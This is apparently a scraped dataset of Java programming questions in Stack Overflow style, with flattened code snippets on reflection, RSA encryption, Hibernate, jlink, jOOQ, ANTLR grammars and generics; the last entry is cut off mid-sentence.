JDKKeyPairGenerator.RSA ( ) ; RSAKeyGenParameterSpec params = new RSAKeyGenParameterSpec ( 2048 , publicExp ) ; gen.initialize ( params , new SecureRandom ( ) ) ; KeyPair keyPair = gen.generateKeyPair ( ) ; // some data where first entry is 0 byte [ ] data = { 0 , 122 , 12 , 127 , 35 , 58 , 87 , 56 , -6 , 73 , 10 , -13 , -78 , 4 , -122 , -61 } ; // encrypt data asymmetrically Cipher cipher = Cipher.getInstance ( `` RSA '' , `` BC '' ) ; cipher.init ( Cipher.ENCRYPT_MODE , keyPair.getPublic ( ) ) ; byte [ ] rsaEncryptedData = cipher.doFinal ( data ) ; // decrypt data asymmetrically cipher.init ( Cipher.DECRYPT_MODE , keyPair.getPrivate ( ) ) ; byte [ ] dataBack = cipher.doFinal ( rsaEncryptedData ) ; System.out.println ( `` data = `` + Hex.toHexString ( data ) ) ; System.out.println ( `` data back = `` + Hex.toHexString ( dataBack ) ) ; assertTrue ( Arrays.equals ( data , dataBack ) ) ; } }",Getting too short array with RSA encryption when data array 's first entry is zero +Java,"I know there are a lot of quesitons about reflection and primitive types already , but i did n't really get the exact information i searched.My Problem is following : I want to invoke methods ( through reflection ) completely dynamical , that means i want to invoke them even if i dont exactly know the types of the parameters . ( Did n't optimized anything yet so pls do n't hate^^ ) The problem is , the parameter for the method need to be converted in Object but when i do this you ca n't really detect anymore if it is a primitive type because of auto boxing.Which happens when i try to call the Method `` charAt '' from the class String with an int parameter : which obviously results in : He searched for Integer instead of int because of auto-boxing.So is there a work around for what i 'm trying to do here ? I know how to detect primitive types , but not when they are auto-boxed to their wrapper types . Any help is greatly appreciated .","public Object invoke ( Object objectContainingMethod , String methodName , Object ... params ) { Object result = null ; int length = params.length ; Class < ? > [ ] paramTypes = new Class < ? > [ length ] ; for ( int i=0 ; i < length ; i++ ) { paramTypes [ i ] = params [ i ] .getClass ( ) ; } try { Method method = objectContainingMethod.getClass ( ) .getMethod ( methodName , paramTypes ) ; // not hard coded like getMethod ( methodName , String.class , int.class , double.class ) ; result = method.invoke ( objectContainingMethod , params ) ; } catch ( NoSuchMethodException | SecurityException | IllegalAccessException | IllegalArgumentException | InvocationTargetException e ) { e.printStackTrace ( ) ; } return result ; } String instance = `` hello '' ; Object result = invoke ( instance , '' charAt '' ,0 ) ; java.lang.NoSuchMethodException : java.lang.String.charAt ( java.lang.Integer ) at java.lang.Class.getMethod ( Unknown Source ) ...",How do i know if something is primitive type after autoboxing ? +Java,"I 'm writing a large scale application where I 'm trying to conserve as much memory as possible as well as boost performance . As such , when I have a field that I know is only going to have values from 0 - 10 or from -100 - 100 , I try to use the short data type instead of int.What this means for the rest of the code , though , is that all over the place when I call these functions , I have to downcast simple ints into shorts . For example : Method SignatureMethod CallIt 's like that all throughout my code because the literals are treated as ints and are n't being automatically downcast or typed based on the function parameters.As such , is any performance or memory gain actually significant once this downcasting occurs ? Or is the conversion process so efficient that I can still pick up some gains ?","public void coordinates ( short x , short y ) ... obj.coordinates ( ( short ) 1 , ( short ) 2 ) ;",Is the performance/memory benefit of short nullified by downcasting ? +Java,"This fails to compile ( with an illegal forward reference error ) , as one would expect : But this works : What 's going on ? What gets assigned in the latter case ?",class test { int x = x + 42 ; } class test { int x = this.x + 42 ; },Recursive initializer works when I add `` this '' ? +Java,"I have following string : `` 05 X 02 '' . How can i convert it to date ? I do n't want to convert it to string `` 05 10 02 '' and then to date . Is it possible ? Thanks for help.So far i was trying use But it does n't work . Also trying use DateTimeFormatterBuilder , but here I 'm completely lost .",DateTimeFormatter formatter = DateTimeFormatter.ofPattern ( `` dd M/L yy '' ) ;,Convert string to date - roman month +Java,"I am currently writing test cases for a ContentProvider in my application ( which is a checkbook recording app ) and I am having a test fail when it is comparing double values . The best way to illustrate this is with code . I have this function that returns ContentValues for an account object to be inserted into the database : Inside a function testInsertReadProvider ( ) I have the following code , to insert that account : The validate cursor function takes a cursor and a ContentValues and loops through them using a map to compare each value . This is a strategy I learned from following a Udacity tutorial on creating Android applications , so maybe there is a better way to compare them instead of as strings , but it looks like this : The test is failing when the assertEquals ( ) line is called , and I get the following error message : junit.framework.ComparisonFailure : expected : < 3000 [ .0 ] > but was : < 3000 [ ] > It looks like the cursor.getString ( ) method is truncating the decimal places if they are equal to 0 . If I try this test using a value of 3000.01 it works fine . Is SQLite responsible for dropping the unnecessary zeroes ? Can I change the assertEquals ( ) in some way so that those two values are treated the same ?","private ContentValues getAccountContentValues ( ) { String testName = `` Capital One '' ; double testStartingBalance = 3000.00 ; ContentValues accountValues = new ContentValues ( ) ; accountValues.put ( AccountEntry.COLUMN_NAME , testName ) ; accountValues.put ( AccountEntry.COLUMN_BALANCE , testStartingBalance ) ; return accountValues ; } // Get Account values and write themContentValues accountValues = getAccountContentValues ( ) ; Uri accountInsertUri = mContext.getContentResolver ( ) .insert ( AccountEntry.CONTENT_URI , accountValues ) ; long accountRowId = ContentUris.parseId ( accountInsertUri ) ; // Verify we got a row backassertTrue ( accountRowId > 0 ) ; // A cursor is the primary interface to the query resultsCursor cursor = mContext.getContentResolver ( ) .query ( AccountEntry.CONTENT_URI , // Table name null , // columns to be returned . Null returns all columns null , // Columns for where clause null , // Values for where clause null // Sort order ) ; // Validate the information read from the database.validateCursor ( cursor , accountValues ) ; cursor.close ( ) ; void validateCursor ( Cursor valueCursor , ContentValues expectedValues ) { assertTrue ( valueCursor.moveToFirst ( ) ) ; Set < Map.Entry < String , Object > > valueSet = expectedValues.valueSet ( ) ; for ( Map.Entry < String , Object > entry : valueSet ) { String columnName = entry.getKey ( ) ; int idx = valueCursor.getColumnIndex ( columnName ) ; assertFalse ( idx == -1 ) ; String expectedValue = entry.getValue ( ) .toString ( ) ; assertEquals ( expectedValue , valueCursor.getString ( idx ) ) ; } valueCursor.close ( ) ; }",How to compare String representations of doubles if it ends in .00 +Java,"IntroductionI 'm working on a project where a user is able to enter facts and rules in a special format but I 'm having some trouble with checking if that format is correct and obtaining the information.When the program is launched the user can enter `` commands '' into a textarea and this text is send to a parseCommand method which determine what to do based on what the user has written . For example to add a fact or a rule you can use the prefix + . or use - to remove a fact or rule and so on . I 've created the system which handles the prefix but i 'm having trouble with the facts and rules format.Facts and rulesFacts : These are defined by an alphanumeric name and contain a list of properties ( each is withing < > signs ) and a truth value . Properties are also defined by an alphanumeric name and contain 2 strings ( called arguments ) , again each is withing < > signs . Properties can also be negative by placing an ! before it in the list . For example the user could type the following to add these 3 facts to the program : The class I use to store facts is like this : Rules : These are links between 2 properties and they are identified by the = > sign Again their name is alphanumeric . The properties are limited though as they can only have arguments made up of uppercase letters and the arguments of the second property have to be the same as those the first one . Rules also have 2 other arguments which are either set or not set by entering the name or not ( each of these arguments correspond with a property for the rule which can be Negative or Reversive ) . for example : Rule PropertiesA normal rule tells us that if , in the example below , X is a parent of Y this implies that Y is a child of X : While a Negative rule tells us that if , in the example below , X is a parent of Y this implies that Y is not a child of X : A Reversive rule however tells us that if , in the example below , Y is a child of X this implies that X is a parent of Y The last case is when the rule is both Negative and Reversive . This tells us that if , in the example below , Y is not a child of X this implies that X is a parent of Y.This is the class I use to store rules : Property class : The above examples are all valid inputs . Just to clarify here are some invalid input examples : Facts : No true or false is provided for the argument : No property given : An invalid property is provided : Note the missing bracket in the last one.Rules : One or more properties are invalid : The problemI 'm able to get the input from the user and I 'm also able to see which kind of action the user wants to preform based on the prefix.However I 'm not able to figure out how to process strings like : This is due to a number of reasons : The number of properties for a fact entered by the user is variable so I cant just split the input string based on the ( ) and < > signs.For rules , sometimes , the last 2 properties are variable so it can happen that the 'Reversive ' property is on the place in the string where you would normally find the Negative property.If I want to get arguments from this part of the input string : +familyTree ( < parent ( < John > , < Jake > ) > , to setup the property for this fact I can check for anything that is in between < > that might form a problem because there are 2 opening < before the first > What I 've triedMy first idea was to start at the beginning of the string ( which I did for getting the action from the prefix ) and then remove that piece of string from the main string.However I do n't know how to adapt this system to the problems above ( specially problem number 1 and 2 ) . I 've tried to use functions like : String.split ( ) and String.contains ( ) .How would I go about doing this ? How can I get arount the fact that not all strings contain the same information ? ( In a sense that some facts have more properties or some rules have more attributes than others . ) EDIT : I forgot to say that all the methods used to store the data are finished and work and they can be used by calling for example : infoHandler.addRule ( ) or infoHandler.removeFact ( ) . Inside these functions I could also validate input data if this is better . I could , for example , just obtain all data of the fact or rule from the string and validate things like are the arguments of the properties of rules only using uppercase letters and so on.EDIT 2 : In the comments someone has suggested using a parser generator like ANTLR or JavaCC . I ' e looked into that option in the last 3 days but I ca n't seem to find any good source on how to define a custom language in it . Most documentation assumes you 're trying to compile an exciting language and recommend downloading the language file from somewhere instead of writing your own . I 'm trying to understand the basics of ANTLR ( which seems to be the one which is easiest to use . ) However there is not a lot of recources online to help me.If this is a viable option , could anyone help me understand how to do something like this in ANTLR ? Also once I 've written a grammer file how am I sopposed to use it ? I 've read something about generating a parser from the language file but I cant seem to figure out how that is done ... EDIT 3 : I 've begon to work on a grammer file for ANTLR which looks like this : Am I on the right track here ? If this is a good grammer file how can I test and use it later on ?","+father ( < parent ( < John > , < Jake > ) > , true ) +father ( < parent ( < Jammie > , < Jake > ) > , false ) +father ( ! < parent ( < Jammie > , < Jake > ) > , true ) +familyTree ( < parent ( < John > , < Jake > ) > , < parent ( < Jammie > , < Jake > ) > , true ) +fathers ( < parent ( < John > , < Jake > ) > , ! < parent ( < Jammie > , < Jake > ) > , true ) public class Fact implements Serializable { private boolean truth ; private ArrayList < Property > properties ; private String name ; public Fact ( boolean truth , ArrayList < Property > properties , String name ) { this.truth = truth ; this.properties = properties ; this.name = name ; } //getters and setters here ... } +son ( < parent ( < X > , < Y > ) > = > < child ( < Y > , < X > ) > ) +son ( < parent ( < X > , < Y > ) > = > < child ( < Y > , < X > ) > , Negative , Reversive ) +son ( < parent ( < X > , < Y > ) > = > < child ( < Y > , < X > ) > , Reversive ) +son ( < parent ( < X > , < Y > ) > = > < child ( < Y > , < X > ) > , Negative ) son ( < parent ( < X > , < Y > ) > = > < child ( < Y > , < X > ) > ) son ( < parent ( < X > , < Y > ) > = > < child ( < Y > , < X > ) > , Negtive ) son ( < parent ( < X > , < Y > ) > = > < child ( < Y > , < X > ) > , Reversive ) son ( < parent ( < X > , < Y > ) > = > < child ( < Y > , < X > ) > , Negative , Reversive ) public class Rule implements Serializable { private Property derivative ; private Property impliant ; private boolean negative ; private boolean reversive ; private String name ; public Rule ( Property derivative , Property impliant , boolean negative , boolean reversive ) throws InvalidPropertyException { if ( ! this.validRuleProperty ( derivative ) || ! this.validRuleProperty ( impliant ) ) throw new InvalidPropertyException ( `` One or more properties are invalid '' ) ; this.derivative = derivative ; this.impliant = impliant ; this.negative = negative ; this.reversive = reversive ; } //getters and setters here } public class Property implements Serializable { private String name ; private String firstArgument ; private String secondArgument ; public Property ( String name , String firstArgument , String secondArgument ) { this.name = name ; this.firstArgument = firstArgument ; this.secondArgument = secondArgument ; } +father ( < parent ( < John > , < Jake > ) > ) +father ( false ) +father ( < parent ( < John > ) > , true ) +father ( < parent ( John , Jake ) > , true ) +father ( < parent ( John , Jake , Michel ) > , true ) +father ( parent ( < John > , < Jake > ) , true ) +son ( < parent ( < X > , < Y > ) > = > child ( < Y > , < X > ) ) +son ( parent ( < X > , < Y > ) = > child ( < Y > , < X > ) ) +son ( < parent ( < X > , < Y > ) > = > < child ( < Z > , < X > ) > ) ( Note the Z in the child property ) +son ( < parent ( < Not Valid > , < Y > ) > = > child ( < Y > , < X > ) ) ( Invalid argument for first property ) +son ( = > child ( < Y > , < X > ) ) +familyTree ( < parent ( < John > , < Jake > ) > , < parent ( < Jammie > , < Jake > ) > , true ) /** Grammer used by communicate parser */grammar communicate ; /* * Parser Rules */argument : ' < ' + NAMESTRING + ' > ' ; ruleArgument : ' < ' + RULESTRING + ' > ' ; property : NAMESTRING + ' ( ' + argument + ' , ' + argument + ' ) ' ; propertyArgument : ( NEGATIVITY | POSITIVITY ) + property + ' > ' ; propertyList : ( propertyArgument + ' , ' ) + ; fact : NAMESTRING + ' ( ' + propertyList + ' : ' + ( TRUE | FALSE ) + ' ) ' ; rule : NAMESTRING + ' ( ' + ruleArgument + '= > ' + ruleArgument + ' : ' + RULEOPTIONS + ' ) ' ; /* * Lexer Rules */fragment LOWERCASE : [ a-z ] ; fragment UPPERCASE : [ A-Z ] ; NAMESTRING : ( LOWERCASE | UPPERCASE ) + ; RULESTRING : ( UPPERCASE ) + ; TRUE : 'True ' ; FALSE : 'False ' ; POSITIVITY : ' ! < ' ; NEGATIVITY : ' < ' ; NEWLINE : ( '\r ' ? '\n ' | '\r ' ) + ; RULEOPTIONS : ( 'Negative ' | 'Negative ' + ' , ' + 'Reversive ' | 'Reversive ' ) ; WHITESPACE : ' ' - > skip ;",Java check string for special format when format contains loops +Java,"I have the following JSON : That I would like to convert to CBOR format.Accordingly to cbor.me I have the following output : 82A102A16163F5A103A161700ABut , when using Jackson Binary CBOR Serializer , I have the following output : 82BF02BF6163F5FFFFBF03BF61700AFFFFWhich is not wrong , but not optimized ... I have an extra 4 unnecessary bytes added to what it can really be.I 've then tried to manually serialize the JSON but same result : Is this a bug with Jackson Binary format library or am I missing some configuration properties from the ObjectMapper ? EDIT : This seems to be a known issue : https : //github.com/FasterXML/jackson-dataformats-binary/issues/3","[ { 2 : { `` c '' : true } } , { 3 : { `` p '' : 10 } } ] @ Overridepublic void serialize ( Request value , JsonGenerator jgen , SerializerProvider provider ) throws IOException , JsonProcessingException { jgen.writeStartArray ( value.getDataList ( ) .size ( ) ) ; for ( Data data : value.getDataList ( ) ) { jgen.writeStartObject ( new Map [ 1 ] ) ; jgen.writeFieldId ( data.getItem ( ) ) ; jgen.writeStartObject ( ) ; if ( data.getObject ( ) .getC ( ) ! = null ) { jgen.writeBooleanField ( `` c '' , data.getObject ( ) .getC ( ) ) ; } if ( data.getObject ( ) .getP ( ) ! = null ) { jgen.writeNumberField ( `` p '' , data.getObject ( ) .getP ( ) ) ; } jgen.writeEndObject ( ) ; jgen.writeEndObject ( ) ; } jgen.writeEndArray ( ) ; }",Serialize fixed size Map to CBOR +Java,"While I have been able to find information on how Hibernate 's transaction work , so the database does n't corrupted , it has been harder to understand how Hibernate treats an object which is shared between threads , and each thread tries to save it to the database.This is my theoretical question:1 ) I have a Person object with attributes ( ssn , name , address ) .2 ) Three threads have a reference to this person object and each thread calls the method savePersonToHibernate ( ... ) How does Hibernate cope with 3 threads writing the same object to the storage ? Does it put all the transactions in a queue so when the first thread creates the row and identifier ( set the id ) the remaining two thread will only update it with ( in this case ) no changes ? Or will I actually have the chance of having 2 or 3 rows in the database with a current object only referring to the last identifier created ? I hope it makes some kinda sense ... I 'm making a queue system , and the data needs to be referred to categories which needs to be created on the fly ... and if two or more thread get some data which both needs to have the same category created , I 'd hate to have duplicated.I hope this makes sense ... what would you do ?",public void savePersonToHibernate ( Person person ) { ... session.saveOrUpdate ( person ) ... },Hibernate SaveOrUpdate - multiple workthreads +Java,"We all know that Java has a cache for Integer ( and some other types ) for number in the range [ -128 , 127 ] which are considered to be `` commonly used '' . The cache is designed as follow : I know that I can extend the high value by giving a parameter to the JVM : What I do n't understand is why are n't we allowed to override the low value ? Note that I was not trying to find a workaround , but instead understand why it is not allowed for some obscure reasons .","private static class IntegerCache { static final int low = -128 ; static final int high ; static final Integer cache [ ] ; static { // high value may be configured by property int h = 127 ; String integerCacheHighPropValue = sun.misc.VM.getSavedProperty ( `` java.lang.Integer.IntegerCache.high '' ) ; if ( integerCacheHighPropValue ! = null ) { try { int i = parseInt ( integerCacheHighPropValue ) ; i = Math.max ( i , 127 ) ; // Maximum array size is Integer.MAX_VALUE h = Math.min ( i , Integer.MAX_VALUE - ( -low ) -1 ) ; } catch ( NumberFormatException nfe ) { // If the property can not be parsed into an int , ignore it . } } high = h ; cache = new Integer [ ( high - low ) + 1 ] ; int j = low ; for ( int k = 0 ; k < cache.length ; k++ ) cache [ k ] = new Integer ( j++ ) ; // range [ -128 , 127 ] must be interned ( JLS7 5.1.7 ) assert IntegerCache.high > = 127 ; } private IntegerCache ( ) { } } java -Djava.lang.Integer.IntegerCache.high=xxxx Aclass.class","Why does the JVM allow to set the `` high '' value for the IntegerCache , but not the `` low '' ?" +Java,"I face the problem that the service binding option of jlink links many , many modules , none of them seems to be necessary . These modules are n't linked when the service binding option is omitted . Questions : Q1 : Do you see the same behavoir in your environment ? Q2 : Is this a bug or a desired behavoir ? Q3 : Why all these modules are linked ? My application : The application is a simple service consisting of an interface , a provider and a consumer , each packed into a separate module , called modService , modProvider , modConsumer ( details below ) . OS : Windows 10 Jlink without -- bind-services yields the expected result : When the -- bind-services option is applied , I would expect that in addition the module modProvider should be linked . However , see what happens ( the three custom modules are at the end ) : I have no clue why all these modules are linked because the provider just returns a string so that no other jdk module than java.base should be needed . Below are the Java artifacts : Any help is appreciated .",jlink -- module-path `` mods ; % JAVA_HOME % \jmods '' -- add-modules modConsumer -- output myRuntimejava -- list-modulesjava.base @ 9modConsumermodService jlink -- module-path `` mods ; % JAVA_HOME % \jmods '' -- bind-services -- add-modules modConsumer -- output myRuntimejava -- list-modulesjava.base @ 9java.compiler @ 9java.datatransfer @ 9java.desktop @ 9java.logging @ 9java.management @ 9java.management.rmi @ 9java.naming @ 9java.prefs @ 9java.rmi @ 9java.scripting @ 9java.security.jgss @ 9java.security.sasl @ 9java.smartcardio @ 9java.xml @ 9java.xml.crypto @ 9jdk.accessibility @ 9jdk.charsets @ 9jdk.compiler @ 9jdk.crypto.cryptoki @ 9jdk.crypto.ec @ 9jdk.crypto.mscapi @ 9jdk.deploy @ 9jdk.dynalink @ 9jdk.internal.opt @ 9jdk.jartool @ 9jdk.javadoc @ 9jdk.jdeps @ 9jdk.jfr @ 9jdk.jlink @ 9jdk.localedata @ 9jdk.management @ 9jdk.management.cmm @ 9jdk.management.jfr @ 9jdk.naming.dns @ 9jdk.naming.rmi @ 9jdk.scripting.nashorn @ 9jdk.security.auth @ 9jdk.security.jgss @ 9jdk.unsupported @ 9jdk.zipfs @ 9modConsumermodProvidermodService package test.service ; public interface HelloService { public String sayHello ( ) ; } package test.provider ; import test.service ; public class HelloProvider implements HelloService { @ Override public String sayHello ( ) { return `` Hello ! `` ; } } package test.consumer ; import test.service ; import java.util.ServiceLoader ; public class HelloConsumer { public static void main ( String ... args ) { ServiceLoader.load ( HelloService.class ) .forEach ( s - > System.out.println ( s.sayHello ( ) ) ) ; } } module modService { exports test.service ; } module modProvider { requires modService ; provides test.service.HelloService with test.provider.HelloProvider ; } module modConsumer { requires modService ; uses test.service.HelloService ; },jlink : service binding links many unnecessary modules +Java,"I used RWeka to call Weka functions directly in R.I tried using meta learning ( bagging ) but failed.My code is Bagging ( classLabel ~ . , data = train , control = Weka_control ( W = J48 ) ) However , the following error pops up : I also tried several different base learners but always met such error.If you successfully used meta learning in RWeka before , please let me know .","Error in Bagging ( classLabel ~ . , data = train , control = Weka_control ( W = J48 ) ) : unused argument ( s ) ( data = train , control = Weka_control ( W = J48 ) )",Using meta learning in RWeka +Java,"Trying to build against javax.vecmath using the 1.5.2 jar file ( found on Java.net http : //java3d.java.net/binary-builds.html , for example ) .Try to make a call on , say Point3d ; In 64 bit Windows and Linux ( I 've only tried Ubuntu 10.04 , 64 bit ) , this compiles and runs.In OS X ( 10.6.7 ) it will not compile : This is using the exact same physical vecmath.jarIf instead I use the source directly , it compiles on OS X , but does not runIf I compile the sources myself on OS X to a jar file , and then use the jar in the example above , again , unable to compile.Now , the fields being accessed are in javax.vecmath.Tuple3d , which is an abstract class with public fields for x , y and z . So on OS X this will work ( actually , it seems to work everywhere ) .The thing is , I 'm working on a code base that depends on vecmath.jar , and in which the maintainers are on Windows and wish to keep using the accessor methods , but I 'm on OS X.I 'm looking to both : ( 1 ) understand what is going on ( 2 ) figure out how to make these sources portable while depending on the vecmath.jar file .","public class Foo { public static void main ( String [ ] args ) { Point3d t = new Point3d ( 1.0 , 1.0 , 1.0 ) ; System.out.println ( t.getX ( ) ) ; } } ... : can not find symbol symbol : method getX ( ) location : class javax.vecmath.Point3d System.out.println ( t.getX ( ) ) ; Exception in thread `` main '' java.lang.NoSuchMethodError : javax.vecmath.Point3d.getX ( ) D public class Foo { public static void main ( String [ ] args ) { Point3d t = new Point3d ( 1.0 , 1.0 , 1.0 ) ; System.out.println ( t.x ) ; } }","Accessor method visible under Windows , Linux , but not OS X" +Java,"For my java homework I am struggling to write a recursive merge sort class . As of right now I have 3 method a `` driver '' method to start the recursion , the recursive mergeSort method and a merge method . Depending on what variables I change my output is either an array of all zeros or my original array in the same order . The only thing is the original mergeSort method must take in one array and the merge method can not return anything . Any help with be much appreciated","import java.util.Arrays ; public class merge2 { public static void main ( String [ ] args ) { int [ ] a= { 22,45,1,4,89,7,0 } ; mergeSort ( a ) ; System.out.println ( Arrays.toString ( a ) ) ; } public static void mergeSort ( int [ ] a ) { mergeSort ( a,0 , a.length-1 ) ; } public static void mergeSort ( int [ ] a , int beg , int end ) { if ( beg < end ) { int mid= ( beg+end ) /2 ; mergeSort ( a , beg , mid ) ; mergeSort ( a , mid+1 , end ) ; merge ( a , beg , mid , end ) ; } } private static void merge ( int [ ] a , int beg , int middle , int end ) { int [ ] d=new int [ a.length ] ; int mid=middle+1 ; //start of second half of array for ( int i=0 ; i < d.length ; i++ ) { if ( beg < =middle & & mid < =end ) { if ( a [ beg ] < =a [ mid ] ) { d [ i ] =a [ beg ] ; beg++ ; } else if ( a [ mid ] < =a [ beg ] ) { d [ i ] =a [ mid ] ; mid++ ; } } else if ( beg > middle ) { d [ i ] =a [ mid ] ; mid++ ; } else if ( mid==a.length ) { d [ i ] =a [ beg ] ; beg++ ; } } for ( int w=0 ; w < d.length ; w++ ) { a [ w ] =d [ w ] ; } } }",Trouble with Merge Sort +Java,I just ran into something that I do not understand . Why is n't the for each loop below legal when the second identically one is ?,"public interface SomeInterface < T > { List < SomeNamedObject > getObjects ( ) ; void doSomething ( P1 p1 , T p2 ) ; } public class SomeNamedObject { private String text ; } public class Clazz { private SomeInterface someInterface ; ... public void someMethod ( ) { // Error Type mismatch : can not convert from element type Object to TestClass.SomeNamedObject for ( SomeNamedObject someNamedObject : someInterface.getObjects ( ) ) { // This loop wo n't compile as the someInterface.getObjects returns just a List and not a List < SomeNamedObject > } // Warning Type safety : The expression of type List needs unchecked // conversion to conform to List < TestClass.SomeNamedObject > List < SomeNamedObject > objects = someInterface.getObjects ( ) ; for ( SomeNamedObject someNamedObject : objects ) { // This loop compiles } } }",Java Generics and return types +Java,"I define a type T and a view V in a PostgreSQL database.Using the code generation on release 3.7 I get both an UDT record class MyTypeRecord and a table record class MyViewRecord and the UDT POJO class MyType and table POJO class MyView.The MyView generated class has an array of MyTypeRecord.while in a POJO I would expect an array of POJOs , e.g . : Another interesting fact is that the pojo and the record for the type are in the udt folder , while for the view they are in the tables folder : maybe this can help to find a solution/explanation.Is there a way to make the View a pojo-only conversion at generation time ? Upon request , I attached a working example that generates the records and POJOs as I described . It is shared with FileDropper at this link.I also report one possible trick to avoid this issue , to be used iff you are really desperate . As reported in this stackoverflow question/answer , jOOQ even if we assign a POJO instead of the record , will not be able to automatically convert the array of records into the record class MyTypeRecord . Hence , you can parse the array of ROWs to json using function array_to_json . In my example would be : This should be converted automatically by jOOQ to a JSON if you register this binding .","CREATE TYPE my_type AS ( mt_column1 smallint NOT NULL ) ; CREATE VIEW my_viewAS SELECT some_column_id integer ARRAY ( SELECT ROW ( an_int ) : :my_type FROM a_table ) AS my_view_types FROM a_regular_table WHERE my_condition_hold ) ; public class MyView extends Object implements Serializable , Cloneable , IMyView { private static final long serialVersionUID = 1984808170 ; private final Long some_column_id ; private final MyTypeRecord [ ] my_view_types ; } private final MyType [ ] my_view_types ; CREATE VIEW my_viewAS SELECT some_column_id integer array_to_json ( ARRAY ( SELECT ROW ( an_int ) : :my_type FROM a_table ) ) : :json AS my_view_types FROM a_regular_table WHERE my_condition_hold ) ;","jOOQ and autogeneration , how to avoid UDT Records inside table POJOs" +Java,"Yesterday I read about the comma operator in Java for for-loops . Which worked as I expected them to . I thought of this construction but it does not work as expected . My idea was that after one iteration , if the userInput was not between 1 and 3 , it should set boolean wrongInput to true so that during the next iteration an error message will be displayed . Indicating that the userInput was invalid.I imagine that maybe because this is inside the equivalent to the conditional part of a for-loop , that this is invalid syntax . Because you ca n't use a comma operator in the conditional part ? Examples of where I have seen the comma operator being used in for-loops : Giving multiple conditions in for loop in JavaJava - comma operator outside for loop declaration","' ; ' expected } while ( ( userInput < 1 || userInput > 3 ) , wrongInput = true ) ; ' ; ' expected } while ( ( userInput < 1 || userInput > 3 ) , wrongInput = true ) ; private int askUserToSelectDifficulty ( ) { int userInput ; Boolean wrongInput = false ; do { if ( wrongInput ) println ( `` \n\t Wrong input : possible selection 1 , 2 or 3 '' ) ; userInput = readInt ( ) ; } while ( ( userInput < 1 || userInput > 3 ) , wrongInput = true ) ; return userInput ; }","Do { } while ( , ) with comma operator , is that even possible ?" +Java,I find it weird and was wondering if it is something that is regularly used . When can it be useful ?,"public interface InterA { Object getInfo ( ) throws Exception1 ; } public interface InterB { public default Integer getInfo ( Object s ) { return 67 ; } } public interface InterC extends InterA , InterB { @ Override public abstract Integer getInfo ( Object s ) ; }",Overriding default interface method with abstract method +Java,"The Java Number class is the base class for the classes that wrap primitive types ( Byte , Short , Integer , Long , Float , Double ) and also other classes like BigInteger and BigDecimal and has 6 accessor ( aka getter ) methods : I do n't understand why they did n't make byteValue ( ) and shortValue ( ) also abstract .",byte byteValue ( ) abstract double doubleValue ( ) abstract float floatValue ( ) abstract int intValue ( ) abstract long longValue ( ) short shortValue ( ),Why does the Java Number class implement byteValue ( ) and shortValue ( ) ? +Java,"I have being trying to understand the concept of String constant pool and inter for last few days , After reading a lot of articles I understood some portions of it , but still confused about few things : -1.String a = `` abc '' This creates a object in the String Constant Poolbut does the following line of code creates the object `` xyz '' in String Constant Pool ? String b = ( `` xyz '' ) .toLowerCase ( ) 2.Should the literal `` we '' be added to the String consant pool during class loading , if so , why does d==e result in true even when the d is not pointing to String Constant pool",String c = `` qwe '' String d = c.substring ( 1 ) d.intern ( ) String e = `` we '',String Constant Pool and intern +Java,"Suppose that we have a Collection like this : and to process it : orororso , can someone please explain me : What is the difference between them ? Which one is better ? faster ? and safer ? Which one is good for huge collections ? Which one is good when we want to apply heavy processes to each item ?",Set < Set < Integer > > set = Collections.newSetFromMap ( new ConcurrentHashMap < > ( ) ) ; for ( int i = 0 ; i < 10 ; i++ ) { Set < Integer > subSet = Collections.newSetFromMap ( new ConcurrentHashMap < > ( ) ) ; subSet.add ( 1 + ( i * 5 ) ) ; subSet.add ( 2 + ( i * 5 ) ) ; subSet.add ( 3 + ( i * 5 ) ) ; subSet.add ( 4 + ( i * 5 ) ) ; subSet.add ( 5 + ( i * 5 ) ) ; set.add ( subSet ) ; } set.stream ( ) .forEach ( subSet - > subSet.stream ( ) .forEach ( System.out : :println ) ) ; set.parallelStream ( ) .forEach ( subSet - > subSet.stream ( ) .forEach ( System.out : :println ) ) ; set.stream ( ) .forEach ( subSet - > subSet.parallelStream ( ) .forEach ( System.out : :println ) ) ; set.parallelStream ( ) .forEach ( subSet - > subSet.parallelStream ( ) .forEach ( System.out : :println ) ) ;,Java 8 stream and parallelStream +Java,"According to JLS 7 , 5.1.6 Narrowing Reference Conversion • From any array type SC [ ] to any array type TC [ ] , provided that SC and TC are reference types and there is a narrowing reference conversion from SC to TC.in the above example , both objArr and strArr are reference types and there 's a narrow reference conversion from Object to String.but the following codes works fine : I want to ask the rules java uses to do the casting . As far as I can tell the differences between the two examples is that , in the first one , objArr is an Object array with component of type Object . the second is an Object array with component of type String.Please note that , I am not asking HOW to do the conversion , do n't show me how to do this using Arrays.copyOf or other libraries .","Object [ ] objArr = { `` a '' , '' b '' , '' c '' } ; String [ ] strArr = ( String [ ] ) objArr ; // ClassCastException Object obj = `` a '' ; String str = ( String ) obj ; Object [ ] objArr = ( Object [ ] ) java.lang.reflect.Array.newInstance ( String.class , 3 ) ; String [ ] strArr = ( String [ ] ) objArr ;",Java array narrow casting rules +Java,"I have a Java client which wants to communicate with a device through messages over serial communication . The client should be able to use a clean API , abstracting the ugly details of the serial communication . The client can send many types of messages through that API and gets responses . I 'm searching for advice which way is best to implement this API . For simplicity , say we have only two message types : HelloMessage which triggers a HelloResponse and InitMessage which triggers an InitResponse ( in reality , there are many more ) Designing the API ( that is , the Java abstraction of the device ) I could have : One method per message type : This is nicely type safe . ( It could also be many times the same send ( ) method , overloaded , but that 's about the same ) . But it is very explicit , and not very flexible - we can not add messages without modification of the API.I could also have a single send method , which takes all message types : This simplifies the API ( only one method ) and allows for additional Message types to be added later without changing the API . At the same time , it requires the Client to check the Response type and cast it to the right type.Client code : This is ugly in my opinion.What do you recommend ? Are there other approaches which give cleaner results ? References welcome ! How did others solve this ?","public class DeviceAPI { public HelloResponse sendHello ( HelloMessage ) { ... } public InitResponse sendInit ( InitMessage ) { ... } ... and many more message types ... . class HelloMessage implements Messageclass HelloResponse implements Response ... public class DeviceAPI { public Response send ( Message msg ) { if ( msg instanceof HelloMessage ) { // do the sending , get the response return theHelloResponse } else if ( msg instanceof ... DeviceAPI api = new DeviceAPI ( ) ; HelloMessage msg = new HelloMessage ( ) ; Response rsp = api.send ( msg ) ; if ( rsp instanceOf HelloResponse ) { HelloResponse hrsp = ( HelloResponse ) rsp ; ... do stuff ...",How to design a type safe message API in Java ? +Java,"If there is a single statement in a lambda function , we can omit defining the full code block for it : Why is that not the case for statements that throw exceptions ? This yields a compilation error stating ' { ' expected : Of course , enclosing the lambda body in a code block works :",new Thread ( ( ) - > System.out.println ( ) ) ; new Thread ( ( ) - > throw 